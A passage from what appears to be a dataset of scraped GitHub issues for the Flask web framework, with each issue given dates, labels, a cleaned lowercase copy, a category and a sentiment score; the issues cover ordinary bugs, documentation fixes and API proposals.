* Configuration should be done before _running_ the application, during the actual setup phase. Preferably, it should be done in a factory function.
* It incurs a function call before _every_ request, for something that only happens once. This can be inlined to only incur an `if` check, but it's not ideal.
* It runs before the first request for every _instance_, which is every or almost every time for many process worker implementations, and only once for the dev server (the only thread worker I'm aware of). The `threading.Lock` is not useful for an eventual ASGI implementation.",,2022-05-23 15:26:25+00:00,2022-06-06 17:11:00+00:00,0,nan,14.0726,deprecate while reviewing the consistent use of for and i m realizing that should probably be deprecated then removed there s no example use cases in the docs from examples i ve seen on stack overflow and around the web it seems to be mis used as a setup method to do something before the application starts configuration should be done before running the application during the actual setup phase preferably it should be done in a factory function it incurs a function call before every request for something that only happens once this can be inlined to only incur an check but it s not ideal it runs before the first request for every instance which is every or almost every time for many process worker implementations and only once for the dev server the only thread worker i m aware of the is not useful for an eventual asgi implementation,feature,-0.8112
pallets/flask,1243838589,Update of the downloadable documentation of flask2.0,"I would love to be able to download the latest flask2.0 docs as it's always a good resource and since the update of flask the docs have been updated online but the downloadable versions are still in flask1.x.x
![flask](https://user-images.githubusercontent.com/55891685/169630359-e2941ef1-62c6-47d6-ac43-85fbfeedadf1.png)

",,2022-05-21 02:08:44+00:00,2022-05-21 02:20:55+00:00,2,nan,0.0085,update of the downloadable documentation of flask i would love to be able to download the latest flask docs as it s always a good resource and since the update of flask the docs have been updated online but the downloadable versions are still in flask x x flask,documentation,0.5499
pallets/flask,1242091810,Flask.auto_find_instance_path() can return wrong path for namespace packages installed in development mode,"https://github.com/pallets/flask/blob/bd56d19b167822a9a23e2e9e2a07ccccc36baa8d/src/flask/scaffold.py#L798

If there are several packages under the same namespace, all installed in development mode, like:

```
~/namespace-package1/
    namespace/
        package1/
            __init__.py
            app.py
    instance/

~/namespace-package2/
    namespace/
        package2/
            __init__.py
            app.py
    instance/
```
and the code in `namespace.package2` uses `app.instance_path`, then its expected value is `~/namespace-package2/instance` ([""Uninstalled package"" decision path](https://flask.palletsprojects.com/en/2.1.x/config/#instance-folders)).

Instead of that the following happens:
* `find_package()` [cuts import info](https://github.com/pallets/flask/blob/bd56d19b167822a9a23e2e9e2a07ccccc36baa8d/src/flask/scaffold.py#L846) to the very top package name, `namespace`,
* then `_find_package_path()` finds module specification for the whole namespace package, which contains several submodule search locations, like `ModuleSpec(name='namespace', loader=<_frozen_importlib_external._NamespaceLoader object at ...>, submodule_search_locations=_NamespacePath(['~/namespace-package1/namespace', '~/namespace-package2/namespace']))`
* and then the quoted line returns first, i.e. _arbitrary_, package from that namespace, e.g. `~/namespace-package1`, which produces wrong instance path.

Suggestion: pass also `import_name` into `_find_package_path` a... [TRUNCATED]",,2022-05-19 17:26:48+00:00,2022-06-06 16:27:00+00:00,3,nan,17.9585,flask auto find instance path can return wrong path for namespace packages installed in development mode if there are several packages under the same namespace all installed in development mode like and the code in uses then its expected value is uninstalled package decision path instead of that the following happens cuts import info to the very top package name then finds module specification for the whole namespace package which contains several submodule search locations like and then the quoted line returns first i e arbitrary package from that namespace e g which produces wrong instance path suggestion pass also into a truncated,others,0.024
pallets/flask,1241954957,Unread multipart form input generates error output,"I am using Flask (2.0.2) for a web service API. It does not produce web pages, but accepts multipart form encoded requests to read and update a back-end data store, carries out the requests, and returns a simple text response (with response code 200) or an error response with error message.

The following ""Hello World"" code produces a rather strange response when some multipart input is posted.

@app.route('/hello', methods = ['GET', 'POST'])
def hello():
    return 'Hello World!\n'

The result of this is:

Hello World!
<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN""
""http://www.w3.org/TR/html4/strict.dtd"">
<html>
<head>
<meta http-equiv=""Content-Type"" content=""text/html;charset=utf-8"">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 400</p>
<p>Message: Bad request syntax ('--&amp;').</p>
<p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
</body>
</html>

The returned response code is actually 200 but the response includes an error message that looks as though it was generated by trying to parse the multipart form input as HTML. (The multipart boundary was '&' and this looks to be the immediate cause of the ""bad syntax"".)

If, however, the following line is inserted before the return statement, the response is what I would expect. (One of the multipart parts is named 'json').

    ignore = request.files['json']

The result in this case is just:

   Hello Worl... [TRUNCATED]",,2022-05-19 15:26:23+00:00,2022-05-19 15:40:21+00:00,2,nan,0.0097,unread multipart form input generates error output i am using flask for a web service api it does not produce web pages but accepts multipart form encoded requests to read and update a back end data store carries out the requests and returns a simple text response with response code or an error response with error message the following hello world code produces a rather strange response when some multipart input is posted app route hello methods get post def hello return hello world n the result of this is hello world doctype html public w c dtd html en error response error response error code message bad request syntax amp error code explanation httpstatus bad request bad request syntax or unsupported method the returned response code is actually but the response includes an error message that looks as though it was generated by trying to parse the multipart form input as html the multipart boundary was and this looks to be the immediate cause of the bad syntax if however the following line is inserted before the return statement the response is what i would expect one of the multipart parts is named json ignore request files json the result in this case is just hello worl truncated,bug,-0.9956
pallets/flask,1241953632,callback types should use `bound` type vars instead of base types,"* Flask 2.1.2
* Python 3.9.12
* mypy 0.950 (tested also 0.910)

For this type definition on `after_request`:

https://github.com/pallets/flask/blob/bd56d19b167822a9a23e2e9e2a07ccccc36baa8d/src/flask/typing.py#L39

It generates this mypy error:

```
error: Argument 1 to ""after_request"" of ""Scaffold"" has incompatible type ""Callable[[Arg(Response, 'response')], Response]""; expected ""Callable[[Response], Response]""
```

For the sample code of:

```python3
from flask import Flask, Response

def my_func(response: Response) -> Response:
    print(""my after request func"")
    return response

app = Flask(__name__)
app.after_request(my_func)  # <-- type error
```

This code works just fine, and did not generate typing errors for Flask 2.0.2",typing,2022-05-19 15:25:21+00:00,2022-05-23 20:56:26+00:00,5,typing,4.2299,callback types should use type vars instead of base types flask python mypy tested also for this type definition on it generates this mypy error for the sample code of this code works just fine and did not generate typing errors for flask,others,-0.0423
pallets/flask,1241657164,Very strange error,"Environment:
- Python version: 3.8.10 (Ubuntu 20.04)
- Flask version: 2.1.2 (via pip)

I have tried the following program:
```
from flask import Flask
import os

app = Flask(__name__)

@app.route('/')
def hello():
    """"""Renders a sample page.""""""
    return ""Hello World""

if __name__ == '__main__':
    HOST = os.environ.get('SERVER_HOST', '0.0.0.0')
    try:
        PORT = int(os.environ.get('SERVER_PORT', '5002'))
    except ValueError:
        PORT = 5002
    app.run(HOST, PORT, False)
```

When I now open http://testserver:5002/ in the browser I get the following log:
```
134.91.90.144 - - [19/May/2022 11:48:15] code 400, message Bad request version ('testserver\x00\x17\x00\x00ÿ\x01\x00\x01\x00\x00')
testserverÿ

"" HTTPStatus.BAD_REQUEST -


üÈ@|øÞR""ÒqD¦3 cGß]°1Æ»ø)Û{ÌK-²N$m-°{NãÅDl¢ 
À+À/À,À0̨̩ÀÀzz
134.91.90.144 - - [19/May/2022 11:48:15] code 400, message Bad request version ('testserver\x00\x17\x00\x00ÿ\x01\x00\x01\x00\x00')
134.91.90.144 - - [19/May/2022 11:48:15] ""


üÉóF
testserverÿ

"" HTTPStatus.BAD_REQUEST -            :Ë5Óö¦V°îøàÜì&1 êu½2Êm9VKý~>P*Ó='µ
```

This looks like the encoding is not working.",,2022-05-19 11:51:56+00:00,2022-05-19 13:13:33+00:00,3,nan,0.0567,very strange error environment python version ubuntu flask version via pip i have tried the following program when i now open in the browser i get the following log this looks like the encoding is not working,bug,-0.4351
pallets/flask,1238577445,Error: read ECONNRESET while calling API with misleading headers,"Hi, 

I've tried to validate request based on existence or values of request headers, and if the conditions did not meet reject the request with some errors. 
The validation of body works perfect but when I try to validate headers suddenly connection drops.
I used `before_request` method to add interceptor to a blueprint. I tested API with Postman and Android application. In both apps connection drops (android received 'broken pipe' error and postman received Error: read ECONNRESET)
It seems that problem is related to something that mentioned in this issue:
https://github.com/postmanlabs/postman-app-support/issues/5365

here is some code to reproduce issue :


<pre>
def __validate_request_headers():
    try:
        x_request_id = request.headers['X-Request-Id']
        platform = request. headers['Platform']
        client_version =  request.headers['Client-Version']
    except Exception as e:
        raise AttributeError()

blueprint.before_request(__validate_request_headers) 
</pre>

And here is my error handling :
<pre>
def handle_exception(exception: Exception):
    return ""error"", 400
</pre>

If I put a break point inside `execute` method inside `serving.py` file in werkzeug library in line :
<pre>
                if hasattr(application_iter, ""close""):
                    application_iter.close()  # type: ignore
</pre>
client received the error but if I run without breakpoint the connection hang up by server.

Environment:

- Python... [TRUNCATED]",,2022-05-17 12:37:03+00:00,2022-05-23 17:28:50+00:00,3,nan,6.2026,error read econnreset while calling api with misleading headers hi i ve tried to validate request based on existence or values of request headers and if the conditions did not meet reject the request with some errors the validation of body works perfect but when i try to validate headers suddenly connection drops i used method to add interceptor to a blueprint i tested api with postman and android application in both apps connection drops android received broken pipe error and postman received error read econnreset it seems that problem is related to something that mentioned in this issue here is some code to reproduce issue def validate request headers try x request id request headers x request id platform request headers platform client version request headers client version except exception as e raise attributeerror blueprint before request validate request headers and here is my error handling def handle exception exception exception return error if i put a break point inside method inside file in werkzeug library in line if hasattr application iter close application iter close type ignore client received the error but if i run without breakpoint the connection hang up by server environment python truncated,bug,-0.9689
pallets/flask,1234386987,"Recommended link update for ""Make the Project Installable"" docs","The link to the ""official packaging guide"" in the ""Make the Project Installable"" tutorial section makes little reference to `setup.py` and no reference to the `MANIFEST.in` file. 

I recommend updating the link from the [""Packing Python Projects""](https://packaging.python.org/en/latest/tutorials/packaging-projects/) tutorial to the [""Packaging and distributing projects""](https://packaging.python.org/en/latest/guides/distributing-packages-using-setuptools/) guide which details usage of `setup.py` and the `MANIFEST.in` file.

I'd be happy to make a PR to update if this change is welcome.",docs,2022-05-12 19:18:01+00:00,2022-05-23 17:44:53+00:00,1,docs,10.9353,recommended link update for make the project installable docs the link to the official packaging guide in the make the project installable tutorial section makes little reference to and no reference to the file i recommend updating the link from the packing python projects tutorial to the packaging and distributing projects guide which details usage of and the file i d be happy to make a pr to update if this change is welcome,documentation,0.8316
pallets/flask,1231216092,How do I get the name of the cli from the create_app function?,"How do I get the name of the cli from the create_app function?
I have some code in create_app that I don't want to execute when I run the cli.
How to get the current cli name?
thanks
thanks
thanks",,2022-05-10 14:00:59+00:00,2022-05-11 16:18:28+00:00,1,nan,1.0955,how do i get the name of the cli from the create app function how do i get the name of the cli from the create app function i have some code in create app that i don t want to execute when i run the cli how to get the current cli name thanks thanks thanks,others,0.9231
pallets/flask,1230079100,No link in docs to mailing list or Discord server,"The documentation mentions — but doesn't link to — the mailing list and Discord server.

I'm referring to this short section of the docs:

https://flask.palletsprojects.com/en/2.1.x/becomingbig/#discuss-with-the-community

The text makes plain that there are both a mailing list and a Discord server, but fails to provide links.

> The Flask developers keep the framework accessible to users with codebases big and small. If you find an obstacle in your way, caused by Flask, don’t hesitate to contact the developers on the mailing list or Discord server. The best way for the Flask and Flask extension developers to improve the tools for larger applications is getting feedback from users.",docs,2022-05-09 18:16:59+00:00,2022-05-11 16:18:47+00:00,3,docs,1.9179,no link in docs to mailing list or discord server the documentation mentions but doesn t link to the mailing list and discord server i m referring to this short section of the docs the text makes plain that there are both a mailing list and a discord server but fails to provide links the flask developers keep the framework accessible to users with codebases big and small if you find an obstacle in your way caused by flask don t hesitate to contact the developers on the mailing list or discord server the best way for the flask and flask extension developers to improve the tools for larger applications is getting feedback from users,documentation,-0.9011
pallets/flask,1226885814,Flask v1.1.3 introduced many dependency conflicts,"Flask 1.1.3 [set upper bounds](https://github.com/pallets/flask/commit/6d8b4ce9d037937ef8694067ab5754666240d097) on a bunch of dependencies that weren't there before.

This caused conflicts in many dependencies in our projects that are hard to resolve, so for now [we're just going to pin to 1.1.2](https://github.com/canonical-web-and-design/canonicalwebteam.flask-base/pull/60).

Is this necessary? Do we have to go through and work out how to reconcile all of these dependencies? Or might it be possible to loosen up those dependencies a little?",,2022-05-05 16:02:08+00:00,2022-05-05 17:50:08+00:00,1,nan,0.075,flask v introduced many dependency conflicts flask set upper bounds on a bunch of dependencies that weren t there before this caused conflicts in many dependencies in our projects that are hard to resolve so for now we re just going to pin to is this necessary do we have to go through and work out how to reconcile all of these dependencies or might it be possible to loosen up those dependencies a little,others,-0.6369
pallets/flask,1226066312,Tutorial Jinja template logic error,"The [Jinja2 template](https://github.com/pallets/flask/blob/main/docs/tutorial/blog.rst#index) compares the user id of the currently logged in user with the `author_id` of each blog post in order to determine if the logged in user has edit permissions on that blog post. However, one of `g.user['id']` and `post['author_id']` is a string and the other is an integer. This causes the equality comparison to fail in every case, which is both unexpected behavior and confusing to users learning via the tutorial.


Environment:

- Python version: 3.9.12
- Flask version: 2.1.2
",docs,2022-05-04 23:39:27+00:00,2022-05-23 17:26:58+00:00,1,docs,18.7413,tutorial jinja template logic error the jinja template compares the user id of the currently logged in user with the of each blog post in order to determine if the logged in user has edit permissions on that blog post however one of and is a string and the other is an integer this causes the equality comparison to fail in every case which is both un and confusing to users learning via the tutorial environment python version flask version,bug,-0.7845
pallets/flask,1224372859,conda-forge package information is outdated,"I noticed that the Conda-Forge versions of the Pallets libraries have out-of-date metadata compared to what we publish on PyPI. Each one is a GitHub repository that accepts PRs. For example, Flask:

* https://anaconda.org/conda-forge/flask
* https://pypi.org/project/Flask
* https://github.com/conda-forge/flask-feedstock",,2022-05-03 17:10:59+00:00,2022-06-05 22:55:56+00:00,5,nan,33.2395,conda forge package information is outdated i noticed that the conda forge versions of the pallets libraries have out of date metadata compared to what we publish on pypi each one is a github repository that accepts prs for example flask,others,0.3182
pallets/flask,1222998770,test typing,"Add a `typing_examples.py` file that has examples of different uses of Flask with type annotations. For example, show examples of views that return each valid return type for a view. We can run mypy against this to check that *using* Flask passes typing, not just the internal type checking.","save-for-sprint,typing",2022-05-02 15:03:58+00:00,2022-06-05 22:55:33+00:00,6,"save-for-sprint,typing",34.3275,test typing add a file that has examples of different uses of flask with type annotations for example show examples of views that return each valid return type for a view we can run mypy against this to check that using flask passes typing not just the internal type checking,others,0.0
pallets/flask,1222986805,Virtualenv doc displays funky in CONTRIBUTING.rst .,"Specifically:

```
-   Create a virtualenv.

    .. tabs::

       .. group-tab:: Linux/macOS

          .. code-block:: text

             $ python3 -m venv env
             $ . env/bin/activate

       .. group-tab:: Windows

          .. code-block:: text

             > py -3 -m venv env
             > env\Scripts\activate
```

<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

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Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
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Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",docs,2022-05-02 14:52:41+00:00,2022-05-11 16:44:02+00:00,3,docs,9.0773,virtualenv doc displays funky in contributing rst specifically this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,documentation,-0.5574
pallets/flask,1222982761,Unify `setupmethod` behavior between `Flask` and `Blueprint`,"Many of the methods in the `Flask` app object are decorated with `setupmethod`, which prevents registering things with the application after it starts running. A similar behavior is in `Blueprint`, we want to prevent modifying it after registering it at least once. However, the blueprint checking is much less consistent, it's divided up into two parts, is only a warning sometimes, and has a different message. Figure out how we can make `Flask` and `Blueprint` more consistent with this error.",save-for-sprint,2022-05-02 14:48:42+00:00,2022-05-23 16:12:45+00:00,2,save-for-sprint,21.0584,unify behavior between and many of the methods in the app object are decorated with which prevents registering things with the application after it starts running a similar behavior is in we want to prevent modifying it after registering it at least once however the blueprint checking is much less consistent it s divided up into two parts is only a warning sometimes and has a different message figure out how we can make and more consistent with this error,others,-0.6369
pallets/flask,1222982722,Linting error with mypy.,"There's an unused type ignore when running `tox` as well as `mypy`:

```
(fenv) quokka@qcore 07:41 AM ~/git/flask$ mypy
src/flask/cli.py:39: error: Unused ""type: ignore"" comment
```

<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2022-05-02 14:48:39+00:00,2022-05-02 16:30:19+00:00,0,nan,0.0706,linting error with mypy there s an unused type ignore when running as well as this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,bug,-0.6808
pallets/flask,1222975377,Move `redirect` to the `Flask` app object,"Add a `redirect` method to the `Flask` app object. Similar to functions like `flask.json.dumps`, `flask.redirect` should look for a `current_app` and call its `redirect` method. This will allow applications to override the redirect behavior.",save-for-sprint,2022-05-02 14:41:29+00:00,2022-05-11 16:22:20+00:00,2,save-for-sprint,9.07,move to the app object add a method to the app object similar to functions like should look for a and call its method this will allow applications to override the redirect behavior,others,0.5267
pallets/flask,1222962886,Move `url_for` to the `Flask` app object,"Add a `url_for` method to the `Flask` app object. Similar to functions like `flask.json.dumps`, `flask.url_for` should look for a `current_app` and call its `url_for` method. This will allow applications to override the url building behavior.",save-for-sprint,2022-05-02 14:31:29+00:00,2022-05-14 19:50:37+00:00,1,save-for-sprint,12.2216,move to the app object add a method to the app object similar to functions like should look for a and call its method this will allow applications to override the url building behavior,others,0.5267
pallets/flask,1222961019,Move `abort` to the `Flask` app object,"Add an `abort` method to the `Flask` app object. Similar to functions like `flask.json.dumps`, `flask.abort` should look for a `current_app` and call its `abort` method. This will allow applications to override the abort behavior.",save-for-sprint,2022-05-02 14:29:47+00:00,2022-05-12 20:45:38+00:00,4,save-for-sprint,10.261,move to the app object add an method to the app object similar to functions like should look for a and call its method this will allow applications to override the abort behavior,others,0.5267
pallets/flask,1219101214,Fix old behavior in `register_error_handler()` ,"## Background
[`Line 700 src/scaffold.py`](https://github.com/pallets/flask/blob/f976d5bb88216e921a96998f767df31d7039e4ef/src/flask/scaffold.py#L700) has a comment `# old broken behavior`.  
```python
if isinstance(code_or_exception, HTTPException):  # old broken behavior
    raise ValueError(
        ""Tried to register a handler for an exception instance""
        f"" {code_or_exception!r}. Handlers can only be""
        "" registered for exception classes or HTTP error codes.""
    )
```
The purpose of this code is check if the handler is an exception instance.   
If so, raise an error to warn the user: the handler should be HTTPException classes or HTTP error codes.   
### Trigger test case: 
In [`test/test_user_error_handler.py`](https://github.com/pallets/flask/blob/f976d5bb88216e921a96998f767df31d7039e4ef/tests/test_user_error_handler.py), add:
```python
with pytest.raises(ValueError):
    app.register_error_handler(HTTPException(), None)
```
### Why is this old and broken?  
From version 0.7, `self.register_error_handler` can accept all `Exception` not just `HTTPException` so it is not accurate now. Also, the main check part for handlers is in `self._get_exc_class_and_code`.

## Purposed Solution
Remove this part of code.  
Enhance the check for handlers in `self.register_error_handler`.  

## Detail Discussion
- Since the main check is in `self._get_exc_class_and_code`, new check part is written in `self._get_exc_class_and_code` to keep consistenc... [TRUNCATED]",,2022-04-28 18:17:25+00:00,2022-05-03 17:56:11+00:00,0,nan,4.9853,fix old behavior in background has a comment the purpose of this code is check if the handler is an exception instance if so raise an error to warn the user the handler should be httpexception classes or http error codes trigger test case in add why is this old and broken from version can accept all not just so it is not accurate now also the main check part for handlers is in purposed solution remove this part of code enhance the check for handlers in detail discussion since the main check is in new check part is written in to keep consistenc truncated,bug,-0.5614
pallets/flask,1219004667,Redirect from POST not working,"When trying to redirect from a POST request to another page it seems that the request goes wrong. The redirect seems fine in the browser network debug tab and seems to pass normally from the POST method handling but when it tries to go to the new url it gets a status code of **|405 Method Not Allowed|**. The reason for this it seems by looking at the log is that the request gets mashed up with the query parameter somehow which seems like a bug:

![image](https://user-images.githubusercontent.com/19205853/165802744-4480c401-d772-47b8-802b-1aa7431cefa4.png)

Also it seems to work normally if there is no inputs in the form (but that is of no matter as there are no real life forms without any input).

Replication steps:

Happens on Edge, Chrome and Firefox for sure.

```python
from flask import Flask, request, redirect

app: Flask = Flask(__name__)

@app.route(""/"", methods=[""GET""])
def hello():
    return ""<a href='/my_form'>to form</a>""

@app.route(""/my_form"", methods=[""GET"", ""POST""])
def my_form():
    if request.method == ""GET"":
        return ""<form action='/my_form' method='POST' ><input type='hidden' name='id' value='0'><button type='submit'>Submit</button></form>""
    else:
        return redirect(""/"")

# app.run(host=""127.0.0.1"", port=80, debug=True)
```

I would expect that the submission of a form allows for a redirect to the home page without any errors like 405. I don't expect any of the arguments to be passed to the redirected request.

... [TRUNCATED]",,2022-04-28 16:49:00+00:00,2022-04-28 16:50:22+00:00,1,nan,0.0009,redirect from post not working when trying to redirect from a post request to another page it seems that the request goes wrong the redirect seems fine in the browser network debug tab and seems to pass normally from the post method handling but when it tries to go to the new url it gets a status code of method not allowed the reason for this it seems by looking at the log is that the request gets mashed up with the query parameter somehow which seems like a bug image also it seems to work normally if there is no inputs in the form but that is of no matter as there are no real life forms without any input replication steps happens on edge chrome and firefox for sure i would expect that the submission of a form allows for a redirect to the home page without any errors like i don t expect any of the arguments to be passed to the redirected request truncated,others,-0.6647
pallets/flask,1218994579,Cannot import name 'BaseResponse' from 'werkzeug.wrappers',"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

-->
Importing BaseResponse from werkzeug.wrappers creates an import error. 
BaseResponse has been deprecated by werkzeug in its recent release.
<!--
Describe how to replicate the bug.
Setting up Flask in new environment
Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->
Flask App Server should have run. 

Environment:

- Python version: 3.9.7
- Flask version: 2.1.1
",,2022-04-28 16:38:24+00:00,2022-04-28 16:40:16+00:00,1,nan,0.0013,cannot import name baseresponse from werkzeug wrappers this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code importing baseresponse from werkzeug wrappers creates an import error baseresponse has been deprecated by werkzeug in its recent release describe how to replicate the bug setting up flask in new environment include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t flask app server should have run environment python version flask version,others,-0.5647
pallets/flask,1217524246,asserts with `pytest.raises` should be outside the `with` block,"I've been using Flask's test suite to evaluate our [Slipcover](https://github.com/plasma-umass/slipcover) coverage tool and noticed likely bugs in the Flask tests.  For example, in `tests/test_basic.py`, you have

```python
def test_response_type_errors():
    [...]

    with pytest.raises(TypeError) as e:
        c.get(""/none"")
        assert ""returned None"" in str(e.value)
        assert ""from_none"" in str(e.value)

    with pytest.raises(TypeError) as e:
        c.get(""/small_tuple"")
        assert ""tuple must have the form"" in str(e.value)

    [...]

    with pytest.raises(TypeError) as e:
        c.get(""/bad_type"")
        assert ""it was a bool"" in str(e.value)
```
You probably don't want the `assert` statements checking `e` indented, as they won't execute when the exception is thrown.",testing,2022-04-27 15:30:57+00:00,2022-04-28 16:35:56+00:00,2,testing,1.0451,asserts with should be outside the block i ve been using flask s test suite to evaluate our slipcover coverage tool and noticed likely bugs in the flask tests for example in you have you probably don t want the statements checking indented as they won t execute when the exception is thrown,others,0.2732
pallets/flask,1215749683,reqparse fails on multipart/form-data due to change in werkzeug.request,"when some `multipart/form-data` request is parsed via a` reqparse.RequestParser()`, the parsing fails with 

> werkzeug.exceptions.BadRequest: 400 Bad Request: Did not attempt to load JSON data because the request Content-Type was not 'application/json'.

To replicate create some endpoint, which parses the request with a `reqparse.RequestParser` and send the requested data as `multipart/form-data` for example with `curl`. 

With flask version 2.0.2 (and a corresponding older werkzeug version m(i.e. <2.1.1) ), this worked as expected, i.e. the request gets parsed correctly, with flask version 2.1.1 and werkzeug 2.1.1 (or newer) it fails.

This happens, because with werkzeug version 2.1.1, werkzeug the behaviour of request.get_json() was changes:

""Request.get_json() will raise a 400 BadRequest error if the Content-Type header is not application/json. This makes a very common source of confusion more visible. #2339""

(c.f. https://werkzeug.palletsprojects.com/en/2.1.x/changes/ or https://github.com/pallets/werkzeug/issues/2339)

`requparse.Argument` now loads its location as default with

```
location=('json', 'values',)
```
in line 77 of the `__init__` function and then iterates over `self.location` (in line 125f):
```
for l in self.location:
                value = getattr(request, l, None)
```
which access `request.json` (first) and then  fails due to the new exception in/from werkzeug. 

Capturing that exception or accessing json only if the applic... [TRUNCATED]",,2022-04-26 10:31:36+00:00,2022-04-26 13:16:52+00:00,2,nan,0.1148,reqparse fails on multipart form data due to change in werkzeug request when some request is parsed via a the parsing fails with werkzeug exceptions badrequest bad request did not attempt to load json data because the request content type was not application json to replicate create some endpoint which parses the request with a and send the requested data as for example with with flask version and a corresponding older werkzeug version m i e this worked as expected i e the request gets parsed correctly with flask version and werkzeug or newer it fails this happens because with werkzeug version werkzeug the behaviour of request get json was changes request get json will raise a badrequest error if the content type header is not application json this makes a very common source of confusion more visible c f or now loads its location as default with in line of the function and then iterates over in line f which access first and then fails due to the new exception in from werkzeug capturing that exception or accessing json only if the applic truncated,feature,-0.9501
pallets/flask,1214345965,Clean up the blueprint.py,"in blueprint.py

```py
value = defaultdict(
    dict,
    {
        code: {
            exc_class: func for exc_class, func in code_values.items()
        }
        for code, code_values in value.items()
    },
)
```

excuse me, Is there any special meaning in this，Can we write it this way

```py
value = defaultdict(dict, value)
```
",,2022-04-25 11:10:23+00:00,2022-04-25 13:11:12+00:00,0,nan,0.0839,clean up the blueprint py in blueprint py excuse me is there any special meaning in this can we write it this way,others,0.6908
pallets/flask,1214241131,use http1.1 keepalive get method not allowed error,"use http1.1 keepalive get method not allowed error

this can be fixed by use
`WSGIRequestHandler.protocol_version=""HTTP/1.0""`

and appear when use
`WSGIRequestHandler.protocol_version=""HTTP/1.1""`

it seem a http server bug

Environment:

- Python version:3.8
- Flask version:2.1.1
",,2022-04-25 09:41:00+00:00,2022-04-25 13:12:06+00:00,3,nan,0.1466,use http keepalive get method not allowed error use http keepalive get method not allowed error this can be fixed by use and appear when use it seem a http server bug environment python version flask version,bug,0.2406
pallets/flask,1211631135,pyright reportPrivateImportUsage error with typical imports,"I have a very simple script here:

```
from time import time, sleep
from typing import Iterator

from flask import Flask, Response


def main() -> None:
    app = Flask(""Testing server"")

    last_started = int(time())
    @app.route(""/reload"", methods=[""GET""])
    def reload() -> Response:
        def stream() -> Iterator[str]:
            # When this is reloaded, it will actually break the connection.
            while True:
                yield f""data: {last_started}\n\n""
                sleep(1)  # pragma: nocover

        return Response(stream(), mimetype=""text/event-stream"")

    app.run(host=""127.0.0.1"", port=3001, use_reloader=True)


if __name__ == ""__main__"":
    main()
```

`mypy --strict` is happy with it.

However, `pyright` is not.

```
$ pyright server.py
Searching for source files
Found 1 source file
server.py
  server.py:4:26 - error: ""Response"" is not exported from module ""flask.app""
    Import from ""flask.wrappers"" instead (reportPrivateImportUsage)
1 error, 0 warnings, 0 informations
Completed in 1.155sec
```

I was surprised, at first, thinking this was a pyright bug. But perhaps it's not?

https://github.com/microsoft/pyright/issues/2639",,2022-04-21 22:59:52+00:00,2022-04-22 00:11:06+00:00,2,nan,0.0495,pyright reportprivateimportusage error with typical imports i have a very simple script here is happy with it however is not i was surprised at first thinking this was a pyright bug but perhaps it s not,bug,-0.246
pallets/flask,1211466781,Flask allows register functions with same name for `before_request` functions,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
# Bug
Flask allows you to register multiple times a function with the same name when using the `before_request` decorator. 
Is that how it's intended? I tried to find something on this issue in docs, but couldn't.
<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
# Minimal reproducible example
Code:
```py
from flask import Flask

app = Flask(__name__)

@app.route('/')
def main():
    return ""42""

@app.before_request
def f():
    print('hi')

@app.before_request
def f():
    print('hi again')

app.run()
```
Console log:
```cmd
(env) C:\X\x\Project>py my_app.py
 * Serving Flask app 'my_app' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
hi
hi again
127.0.0.1 - - [21/Apr/2022 22:17:40] ""GET / HTTP/1.1"" 200 -
```
<!--
Describe the expected behavior that should have happened but didn't.
-->
# Expected behavior
Flask will throw an error like it does when you try to do the same for the `route` decorator
# Enviro... [TRUNCATED]",,2022-04-21 19:30:27+00:00,2022-04-21 19:32:17+00:00,2,nan,0.0013,flask allows register functions with same name for functions this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is bug flask allows you to register multiple times a function with the same name when using the decorator is that how it s intended i tried to find something on this issue in docs but couldn t describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception minimal reproducible example code console log describe the that should have happened but didn t flask will throw an error like it does when you try to do the same for the decorator enviro truncated,feature,-0.9032
pallets/flask,1211017088,JSON data goes to method if not consumed,"When JSON data is send in a POST (or PUT) body, if you don't consume this data, they appear in the method string of the next request and results in a 405 Method Not Allowed response. 

This example code reproduces the error.

```
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.post(""/test_ajax"")
def test_ajax():
    return jsonify({""hello"": ""world""})

@app.get(""/test"")
def test():
    return (
        ""<a href='javascript:test();'>Test</a>""
        ""<script>""
        ""function test() {""
        ""    fetch('/test_ajax', {""
        ""        method: 'POST',""
        ""        headers: {'Content-Type': 'application/json'},""
        ""        body: JSON.stringify({'foo': 'bar'})""
        ""    });""
        ""}""
        ""</script>""
    )
```
This is the log result
```
 * Detected change in 'app.py', reloading
 * Restarting with stat
 * Debugger is active!
